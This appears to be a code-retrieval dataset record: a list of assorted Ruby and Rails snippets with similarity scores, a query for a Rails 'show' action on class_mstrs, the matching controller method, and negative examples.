\"PEP_EV_H SIZE:\\t#{@pep_ev_h_dbseqRef.size}\"\n end",
"def tsu_ids\n dwelling_units.map(&:tsu_id).compact.uniq\n end",
"def get_qr_qwr_wl_lines_by_streams\r\n lines_by_streams = Hash.new\r\n # Create arrays for each stream\r\n Stream.find(:all).each do |s|\r\n # lines_by_streams[s.id] = Array.new\r\n lines_by_streams[s.id] = Hash.new\r\n lines_by_streams[s.id][\"prev\"] = 0\r\n lines_by_streams[s.id][\"sum\"] = 0\r\n lines_by_streams[s.id][\"qs_prev\"] = 0\r\n lines_by_streams[s.id][\"spider_prev\"] = 0\r\n lines_by_streams[s.id][\"qs_sum\"] = 0\r\n lines_by_streams[s.id][\"spider_sum\"] = 0\r\n end\r\n # Add wl_lines to corresponding stream\r\n wl_lines.each { |wl|\r\n if wl.project and wl.project.workstream!=''\r\n # Stream\r\n s = Stream.find_with_workstream(wl.project.workstream)\r\n # Previsional\r\n if(wl.wl_type == 110)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_prev\"] = lines_by_streams[s.id][\"qs_prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_sum\"] = lines_by_streams[s.id][\"qs_sum\"] + wl.planned_sum.to_f\r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n elsif(wl.wl_type == 120)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_prev\"] = lines_by_streams[s.id][\"spider_prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_sum\"] = lines_by_streams[s.id][\"spider_sum\"] + wl.planned_sum.to_f\r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n end\r\n end\r\n }\r\n return lines_by_streams\r\n end",
"def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend",
"def normalizeRunIds(results, experiment)\n results.each{|runId, stats|\n if (experiment == 'epinions')\n runId.insert(1, '')\n elsif (experiment == 'friendship')\n runId.insert(2, '')\n elsif (experiment == 'image-reconstruction')\n runId.insert(2, '')\n elsif (experiment == 'jester')\n runId.insert(1, '')\n elsif (experiment == 'nell-kgi')\n runId.insert(1, '')\n runId.insert(1, '')\n elsif (experiment == 'party-affiliation')\n runId.insert(2, '')\n elsif (experiment == 'party-affiliation-scaling')\n runId.insert(2, '')\n end\n\n # Also put in the dataset/experiment.\n runId.insert(0, experiment)\n }\nend",
"def callout_ids(li_ordinal)\n current_list.inject([]) {|collector, element|\n collector << element[:id] if element[:ordinal] == li_ordinal\n collector\n } * ' '\n end",
"def puzzle_ids(seed, pool)\n n = N_PUZZLES / pool.size\n puzzle_ids = []\n pool.each do |group|\n puzzles = group.shuffle(random: Random.new(seed)).take(n)\n puzzle_ids << puzzles.map(&:id)\n end\n puzzle_ids.flatten\n end",
"def add_data_ids(id_old, id_new)\n return id_old.map{|id| id.sort} if id_new.nil?\n id_old = Hash.new if id_old.nil?\n id_new.each do |k, val|\n id_old[k] = Array.new if id_old[k].nil?\n val.each{|v| id_old[k] << v if not id_old[k].any?(v)}\n id_old[k].sort!\n end\n return id_old\nend",
"def book_ids(requests)\n return if requests.nil?\n\n arr = []\n requests.each do |r|\n arr << r.book_id\n end\n arr\n end",
"def build_rule_idents(idents)\n raise \"#{idents} is not an Array type.\" unless idents.is_a?(Array)\n\n # Each rule identifier is a different element\n idents.map do |identifier|\n ident = HappyMapperTools::Benchmark::Ident.new\n ident.system = 'https://public.cyber.mil/stigs/cci/'\n ident.ident = identifier\n ident\n end\n end",
"def offbyonenumber(my_number, bash_numbers)\n\tcounter = 0\n\tx = 0\n\tarr1 = []\n\tmy_number.each do |num|\n\t\tbash_numbers.each do |bash|\n\t\t\tnum.length.times do\n\t\t\t\tif bash[x] == num[x]\n\t\t\t\t\t\tcounter += 1\n\t\t\t\t\tif counter == num.length - 1\n\t\t\t\t\t\tarr1<< num\n\t\t\t\t\t\tcounter = 0\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\t\tx += 1\n\t\t\tend\n\t\tend\n\tend\n\tarr1.uniq!\n\tp arr1\n\treturn arr1\nend",
"def getMnN( target_id )\n m = 0\n n = -1\n while @guid[m] == target_id[m] && m < @m_max\n m += 1\n end\n n = target_id[m]\n n = n.to_s\n n = n.hex\n return m, n\n end",
"def uuid_method\nhexadecimal_chars = %w(a b c d e f 0 1 2 3 4 5 6 7 8 9)\n\nfour_digit_array = []\nsecond_four_digit_array = []\nthird_four_digit_array = []\neight_digit_array = []\ntwelve_digit_array = []\n\nuntil four_digit_array.length == 4\nfour_digit_array << hexadecimal_chars.sample\nend\nuntil second_four_digit_array.length == 4\nsecond_four_digit_array << hexadecimal_chars.sample\nend\nuntil third_four_digit_array.length == 4\nthird_four_digit_array << hexadecimal_chars.sample\nend\nuntil eight_digit_array.length == 4\neight_digit_array << hexadecimal_chars.sample\nend\nuntil twelve_digit_array.length == 4\ntwelve_digit_array << hexadecimal_chars.sample\nend\n\"#{eight_digit_array.join}-#{four_digit_array.join}-#{second_four_digit_array.join}-#{third_four_digit_array.join}-#{twelve_digit_array.join}\"\nend",
"def TN93(sequence_array = [])\n diff = []\n seq_hash = count(sequence_array)\n seq_hash.values.each do |v|\n comb = v * (v - 1) / 2\n comb.times {diff << 0}\n end\n\n seq_hash.keys.combination(2).to_a.each do |pair|\n s1 = pair[0]\n s2 = pair[1]\n diff_temp = compare_two_seq(s1,s2)\n comb = seq_hash[s1] * seq_hash[s2]\n comb.times {diff << diff_temp}\n end\n\n count_diff = count(diff)\n out_hash = Hash.new(0)\n Hash[count_diff.sort_by{|k,v|k}].each do |k,v|\n out_hash[k] = v\n end\n return out_hash\nend",
"def test_decode_large_big_integer()\n input = [\n 131, 111, 0, 0, 1, 2, 0, 77, 166, 39, 216, 70, 78, 172, 93, 52,\n 181, 124, 101, 170, 246, 159, 16, 153, 154, 36, 214, 242, 85, 167,\n 60, 82, 247, 27, 245, 116, 125, 142, 21, 240, 221, 108, 192, 132,\n 152, 51, 154, 161, 28, 103, 117, 214, 153, 173, 30, 239, 99, 160,\n 203, 22, 156, 85, 168, 87, 248, 230, 10, 115, 56, 202, 134, 245,\n 68, 118, 184, 171, 238, 51, 180, 1, 81, 139, 164, 161, 186, 231,\n 229, 45, 235, 244, 167, 92, 107, 159, 27, 27, 195, 22, 23, 236,\n 229, 112, 138, 40, 150, 70, 107, 175, 46, 27, 67, 83, 124, 247,\n 18, 87, 144, 167, 18, 212, 14, 129, 63, 190, 119, 149, 68, 165,\n 43, 152, 211, 55, 3, 54, 145, 143, 121, 37, 88, 178, 78, 178, 210,\n 187, 209, 95, 180, 82, 43, 15, 124, 42, 219, 102, 36, 195, 96, 61,\n 131, 32, 224, 3, 92, 102, 31, 168, 163, 134, 238, 181, 13, 36, 71,\n 28, 218, 181, 142, 191, 71, 241, 91, 166, 118, 178, 91, 243, 2,\n 40, 76, 251, 97, 47, 34, 78, 233, 253, 137, 228, 231, 176, 73,\n 165, 147, 17, 247, 147, 24, 66, 100, 211, 64, 134, 14, 184, 130,\n 153, 249, 87, 2, 246, 140, 79, 220, 174, 26, 78, 214, 64, 224, 88,\n 139, 150, 122, 184, 197, 160, 31, 203, 192, 9, 112, 34, 66, 156,\n 248, 131, 70, 190, 215, 162, 230, 162, 74, 181, 184, 36, 105, 229,\n 7, 168, 75, 47, 80, 83, 2]\n expected = \\\n '19238740999123740918273049817230948712039847012938740192837401' \\\n '92837409182374098127304985609817230984610293847120937840981273' \\\n '64098712304987120394861023984701293561029387502983750921837409' \\\n '81273409812309562039857102394810927401923874091283675091283765' \\\n '09812730548172309461203985710293865129837405912863509182763059' \\\n '18263059126305971260951623098712039857120936501293650912836750' \\\n '91826350928136509128365091826305981263509182736509817230901274' \\\n '01293874091283740912836740912837640981273409812730498127340902' \\\n '38740918237409812730498172304987213094871230948712309487123098' \\\n '56012936509518632095861203958620395620398576019234870213977677'\n expected = expected.to_i()\n\n stream = Erlang::StreamEmulator.new(input)\n actual = Erlang::decode(stream)\n\n assert_equal(expected, actual)\n end",
"def acct_arr_mover\n puts \"\\n\\n#{\"=\"*40}STARTING ID SORTER METHOD 3a: ACCOUNT ARRAY MOVER-A\\nChecks for SFDC Core IDs with same Scraped Account Name as Indexer and saves ID in array in Indexer/Scrapers.\\n\\n\"\n\n cores = Core.where.not(sfdc_acct: nil)\n counter=0\n cores.each do |core|\n sfdc_acct = core.sfdc_acct\n sfdc_id = core.sfdc_id\n\n indexers = Indexer.where(archive: false).where(acct_name: sfdc_acct)\n indexers.each do |indexer|\n acct_name = indexer.acct_name\n crm_acct_ids = indexer.crm_acct_ids\n\n counter+=1\n puts \"\\n\\n#{\"=\"*50}\\n#{counter}\"\n puts \"IDs: #{crm_acct_ids}\"\n puts \"CRM ID: #{sfdc_id}\"\n puts \"CRM Acct: #{sfdc_acct}\"\n puts \"Web Acct: #{acct_name}\"\n\n crm_acct_ids << sfdc_id\n final_array = crm_acct_ids.uniq.sort\n puts \"IDs: #{crm_acct_ids}\"\n puts \"Final: #{final_array}\"\n indexer.update_attribute(:crm_acct_ids, final_array)\n end\n end\n end",
"def assign_id(all_ids)\r\n highest_id = all_ids.max || 10 # reserve first 10 ids for testing\r\n return highest_id + 1\r\n end",
"def build_id_offsets\n {\n i386: [0x174],\n arm: [0x174],\n thumb: [0x174],\n aarch64: [0x238],\n amd64: [0x270, 0x174],\n powerpc: [0x174],\n powerpc64: [0x238],\n sparc: [0x174],\n sparc64: [0x270]\n }[context.arch.to_sym] || []\n end",
"def cache_ids(use_pbar = @use_pbar)\n num_pep, num_db_seq, num_pep_ev = get_num_elements(nil)\n \n @pep_h = Hash.new\n @mod_h = Hash.new\n pbar1 = ProgressBar.new(\"peptides\", num_pep/2) if use_pbar\n reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n reader.each do |node|\n # parse Peptide items\n if node.name == \"Peptide\" then\n # parse local peptide entry\n tmp_node = Nokogiri::XML.parse(node.outer_xml)\n tmp_node.remove_namespaces!\n root = tmp_node.root \n pep_id = root[\"id\"].to_sym\n # skip if already handled PepID\n next if @pep_h.has_key?(pep_id)\n # parse sequence/mods if haven't seen it yet\n pep_seq = get_peptide_sequence(root)\n mod_line = get_modifications(root)\n @pep_h[pep_id] = pep_seq\n @mod_h[pep_id] = mod_line\n pbar1.inc if use_pbar\n end\n end\n pbar1.finish if use_pbar\n # now parse DBSequence items\n dbseq_re = Regexp.new(/^\\s*<DBSequence\\s/)\n pbar2 = ProgressBar.new(\"db_seq\", num_db_seq) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !dbseq_re.match(line)\n \n prot_id = line.match(/accession=\\\"([\\w|\\|]+)/)[1]\n db_id = line.match(/id=\\\"(\\w+)/)[1]\n \n @db_seq_h[db_id.to_sym] = prot_id.to_sym\n pbar2.inc if use_pbar\n end\n pbar2.finish if use_pbar\n # now parse PeptideEvidence items\n pepev_re = Regexp.new(/^\\s*<PeptideEvidence\\s/)\n pbar3 = ProgressBar.new(\"pep_ev\", num_pep_ev) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !pepev_re.match(line)\n \n db_id = line.match(/dBSequence_ref=\\\"(\\w+)/)[1]\n start_pos = line.match(/start=\\\"(\\d+)/)[1].to_i\n end_pos = line.match(/end=\\\"(\\d+)/)[1].to_i\n pep_ev = line.match(/id=\\\"(\\w+)/)[1]\n is_decoy = line.match(/isDecoy=\\\"(\\w+)\\\"/)[1]\n # @pep_ev_h_dbseqRef[pep_ev.to_sym] = db_id.to_sym\n @pep_ev_h[pep_ev.to_sym] = PeptideEvidence.new(:db_seq_ref => db_id.to_sym,\n :start_pos => start_pos,\n :end_pos => end_pos,\n :is_decoy => is_decoy)\n pbar3.inc if use_pbar\n end\n pbar3.finish if use_pbar \n end",
"def get_id_result(id_array)#(id1, id2)\n return @id_formula[id_array.sort]\n end",
"def cache_ids()\n hit_values = File.open(@mzid_file) do |io|\n doc = Nokogiri::XML.parse(io, nil, nil, Nokogiri::XML::ParseOptions::DEFAULT_XML | Nokogiri::XML::ParseOptions::NOBLANKS | Nokogiri::XML::ParseOptions::STRICT)\n doc.remove_namespaces!\n root = doc.root\n \n cache_db_seq_entries(root)\n cache_pep_ev(root)\n \n peptide_lst = root.xpath('//Peptide')\n @pep_h = Hash.new\n @mod_h = Hash.new\n peptide_lst.each do |pnode|\n \n pep_id = pnode['id']\n pep_seq = get_peptide_sequence(pnode)\n mod_line = get_modifications(pnode)\n @pep_h[pep_id] = pep_seq \n @mod_h[pep_id] = mod_line \n end\n \n end\n end",
"def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end"
] |
[
"0.6737016",
"0.63833815",
"0.58200455",
"0.5559386",
"0.55511963",
"0.55015606",
"0.5407118",
"0.53740865",
"0.5333963",
"0.5266496",
"0.52049565",
"0.5198063",
"0.5194428",
"0.5192914",
"0.5192491",
"0.51397467",
"0.5131074",
"0.5120081",
"0.5119804",
"0.5112675",
"0.5111611",
"0.5095905",
"0.50524896",
"0.50017613",
"0.49927396",
"0.49745142",
"0.49719504",
"0.4962562",
"0.49611557",
"0.4940415",
"0.49198818",
"0.49172425",
"0.49149087",
"0.49054945",
"0.4903027",
"0.4901474",
"0.49007288",
"0.48998654",
"0.48981932",
"0.48941606",
"0.4893384",
"0.48686427",
"0.48540047",
"0.48534003",
"0.48470104",
"0.4837584",
"0.4830026",
"0.48294222",
"0.4803148",
"0.48030505",
"0.48004425",
"0.48000464",
"0.47934493",
"0.4791218",
"0.478659",
"0.47723442",
"0.4772334",
"0.4771049",
"0.47544366",
"0.4753026",
"0.474931",
"0.47392136",
"0.47377014",
"0.47292367",
"0.471869",
"0.47176573",
"0.47173226",
"0.47109917",
"0.47105068",
"0.4708645",
"0.47061172",
"0.47038823",
"0.46988654",
"0.46988213",
"0.46977562",
"0.4696745",
"0.46734932",
"0.4652293",
"0.4652113",
"0.46515784",
"0.46480393",
"0.46449056",
"0.46441323",
"0.46420246",
"0.46413103",
"0.46403998",
"0.46403858",
"0.46402907",
"0.46377456",
"0.46358648",
"0.4628595",
"0.4624384",
"0.46230954",
"0.4618509",
"0.46145234",
"0.46122915",
"0.46116668",
"0.46111205",
"0.46058288",
"0.46048838",
"0.46016896"
] |
0.0
|
-1
|
GET /class_mstrs/1 GET /class_mstrs/1.json
|
def show
@class_mstr = ClassMstr.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @class_mstr }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @class_mstr = ClassMstr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_mstr }\n end\n end",
"def create\n @class_mstr = ClassMstr.new(params[:class_mstr])\n\n respond_to do |format|\n if @class_mstr.save\n format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully created.' }\n format.json { render json: @class_mstr, status: :created, location: @class_mstr }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_mstr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @class_mstr = ClassMstr.find(params[:id])\n @class_mstr.destroy\n\n respond_to do |format|\n format.html { redirect_to class_mstrs_url }\n format.json { head :no_content }\n end\n end",
"def update\n @class_mstr = ClassMstr.find(params[:id])\n\n respond_to do |format|\n if @class_mstr.update_attributes(params[:class_mstr])\n format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_mstr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @stringlist = Stringlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stringlist }\n end\n end",
"def show\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def show\n @myclass = Myclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myclass }\n end\n end",
"def show\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class }\n end\n end",
"def index\n @clclasses = Clclass.paginate(page: params[:page], :per_page => 10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clclasses }\n end\n end",
"def index\n @cmms = Cmm.all\n render json: @cmms\n end",
"def show\n @cm = Cm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cm }\n end\n end",
"def show\n @mrj = Mrj.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mrj }\n end\n end",
"def show\n @classroom = classroom.find(params[:id])\n\n render json: @classroom\n end",
"def index\n @mtypes = Mtype.order(:code)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mtypes }\n end\n end",
"def index\n @classrooms = Classroom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @classrooms }\n end\n end",
"def show\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mtype }\n end\n end",
"def show\n @moresmalltrial = Moresmalltrial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmalltrial }\n end\n end",
"def show\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm }\n end\n end",
"def index\n @s_classes = SClass.all\n end",
"def show\n @iclass = Iclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @iclass }\n end\n end",
"def show\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schoolclass }\n end\n end",
"def new\n @stringlist = Stringlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stringlist }\n end\n end",
"def index\n @classses = Classs.all\n end",
"def show\n @moresmallmobsquad = Moresmallmobsquad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmallmobsquad }\n end\n end",
"def index\n @mstatuses = Mstatus.all\n end",
"def show\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_class }\n end\n end",
"def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def show\n @mattress = Mattress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mattress }\n end\n end",
"def show\n @class_room = ClassRoom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_room }\n end\n end",
"def show\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_class }\n end\n end",
"def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end",
"def show\n @nvs_mig_status = NvsMigStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nvs_mig_status }\n end\n end",
"def set_classs\n @classs = Classs.find(params[:id])\n end",
"def show\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @momsg }\n end\n end",
"def index\n @classrooms = ClientApi.classroom_all\n end",
"def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end",
"def class_json\n clazz = @offering.clazz\n section = clazz.section && clazz.section.length > 0 ? clazz.section : nil\n section = section ? \" (#{section})\" : \"\"\n {\n name: clazz.name + section,\n students: @students\n .sort_by { |s| \"#{s.last_name} #{s.first_name}\".downcase }\n .map { |s| student_json(s) }\n }\n end",
"def index\n respond_to do |format|\n format.html {\n @search = Classwork.search(params[:search])\n @classworks = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n }\n format.json { \n render json: Classwork.select(\"id, name as text\").to_json \n }\n end\n end",
"def index\n @nvs_mig_statuses = NvsMigStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_mig_statuses }\n end\n end",
"def index\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @info_classes }\r\n format.json { render :text => get_json }\r\n end\r\n end",
"def show\n @mencion = Mencion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mencion }\n end\n end",
"def show\n @mistake = Mistake.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mistake }\n end\n end",
"def show\n @classication = Classication.find(params[:id])\n @movies = @classication.movies\n\n respond_to do |format|\n format.html\n format.json {render :json => @classication}\n end\n end",
"def new\n @myclass = Myclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myclass }\n end\n end",
"def show\n @mispronunciation = Mispronunciation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @mispronunciation }\n end\n end",
"def show\n @item_class = ItemClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_class }\n end\n end",
"def show\n @mib = Mib.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mib }\n end\n end",
"def show\n @mill = Mill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mill }\n end\n end",
"def index\n @ice_classs =IceClass.all\n render :json => {:successful=>true, :total=>@ice_classs.length, :data=> @ice_classs }\n end",
"def show\n @m_code = MCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @m_code }\n end\n end",
"def show\n @classe = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classe }\n end\n end",
"def index\n @gymclasses = Gymclass.all\n end",
"def show\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microposst }\n end\n end",
"def show\n @matrix = CourseMatrix.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @matrix }\n controller_name.singularize\n end\nend",
"def method_missing(m,params={})\n get url(m.to_s.camelize,params)\n end",
"def strclass_record() @records.get(GRT_STRCLASS); end",
"def show\n @mi = Mi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mi }\n end\n end",
"def new\n @class = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class }\n end\n end",
"def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def search_sms(query_string)\n Response.new self.class.get(\"/messages?#{query_string}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end",
"def index\n @messies = Messy.all\n\n render json: @messies\n end",
"def index\n @class_details = ClassDetail.all\n end",
"def strclass() @records.get_data(GRT_STRCLASS); end",
"def show\n @classtable = Classtable.find(params[:id])\n #@classtable = Classtable.find(:all, :conditions => { :school_id => @classtable1.id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classtable }\n end\n end",
"def show\n @clasp = Clasp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clasp }\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end",
"def show\n @mostsmallskillcategory = Mostsmallskillcategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallskillcategory }\n end\n end",
"def index\n @symptoms = Symptom.all\n\n render json: @symptoms\n end",
"def get_messages(page = 0)\r\n if page > 0\r\n message_url = \"/message_threads?page=#{page}\"\r\n else\r\n message_url = \"/message_threads\"\r\n end\r\n response = self.class.get(message_url, headers: { \"authorization\" => @user_auth_token })\r\n JSON.parse(response.body)\r\n end",
"def class_for_json_class(json_class)\n case json_class\n when MEGAM_ERROR\n Megam::Error\n when MEGAM_AUTH\n Megam::Auth\n when MEGAM_ACCOUNT\n Megam::Account\n when MEGAM_NODE\n Megam::Node\n when MEGAM_APPDEFNS\n Megam::Appdefns\n when MEGAM_APPREQUEST\n Megam::AppRequest\n when MEGAM_BOLTREQUEST\n Megam::BoltRequest\n when MEGAM_BOLTDEFNS\n Megam::Boltdefns\n when MEGAM_NODECOLLECTION\n Megam::NodeCollection\n when MEGAM_APPDEFNSCOLLECTION\n Megam::AppdefnsCollection\n when MEGAM_APPREQUESTCOLLECTION\n Megam::AppRequestCollection\n when MEGAM_BOLTREQUESTCOLLECTION\n Megam::BoltRequestCollection\n when MEGAM_BOLTDEFNSCOLLECTION\n Megam::BoltdefnsCollection\n when MEGAM_REQUEST\n Megam::Request\n when MEGAM_REQUESTCOLLECTION\n Megam::RequestCollection\n when MEGAM_PREDEF\n Megam::Predef\n when MEGAM_PREDEFCOLLECTION\n Megam::PredefCollection\n when MEGAM_PREDEFCLOUD\n Megam::PredefCloud\n when MEGAM_PREDEFCLOUDCOLLECTION\n Megam::PredefCloudCollection\n when MEGAM_CLOUDTOOL\n Megam::CloudTool\n when MEGAM_CLOUDTOOLCOLLECTION\n Megam::CloudToolCollection\n when MEGAM_CLOUDTOOLSETTING\n Megam::CloudToolSetting\n when MEGAM_CLOUDTOOLSETTINGCOLLECTION\n Megam::CloudToolSettingCollection\n when MEGAM_CLOUDTEMPLATE\n Megam::CloudTemplate\n when MEGAM_CLOUDTEMPLATECOLLECTION\n Megam::CloudTemplateCollection\n when MEGAM_CLOUDINSTRUCTION\n Megam::CloudInstruction\n when MEGAM_CLOUDINSTRUCTIONGROUP\n Megam::CloudInstructionGroup\n when MEGAM_CLOUDINSTRUCTIONCOLLECTION\n Megam::CloudInstructionCollection\n when MEGAM_SSHKEY\n Megam::SshKey\n when MEGAM_SSHKEYCOLLECTION\n Megam::SshKeyCollection\n when MEGAM_MARKETPLACE\n Megam::MarketPlace\n when MEGAM_MARKETPLACECOLLECTION\n Megam::MarketPlaceCollection\n when MEGAM_MARKETPLACEADDON\n Megam::MarketPlaceAddons\n when MEGAM_MARKETPLACEADDONCOLLECTION\n Megam::MarketPlaceAddonsCollection\n<<<<<<< HEAD\n when MEGAM_ORGANIZATION\n Megam::Organizations\n=======\n when MEGAM_CSAR\n Megam::CSAR\n when MEGAM_CSARCOLLECTION\n Megam::CSARCollection\n>>>>>>> origin/0.5\n else\n raise JSON::ParserError, \"Unsupported `json_class` type '#{json_class}'\"\n end\n end",
"def show\n @frequent_set = FrequentSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frequent_set }\n end\n end",
"def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end",
"def new\n @mrj = Mrj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mrj }\n end\n end",
"def show\n @corpus = Corpus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corpus }\n end\n end",
"def show\n @book_of_class = BookOfClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_of_class }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def show\n @mfile = Mfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mfile }\n end\n end",
"def index\n render json: {\n status: :success,\n urls: ShortUrl::top_100\n }\n end",
"def index\n @school_classes = SchoolClass.where('school_id = ?', current_user.user_info.school_id).order(\"name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @school_classes }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def show\n @jm_verse = JmVerse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jm_verse }\n end\n end",
"def show\n @ref_mkb = Ref::Mkb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_mkb }\n end\n end",
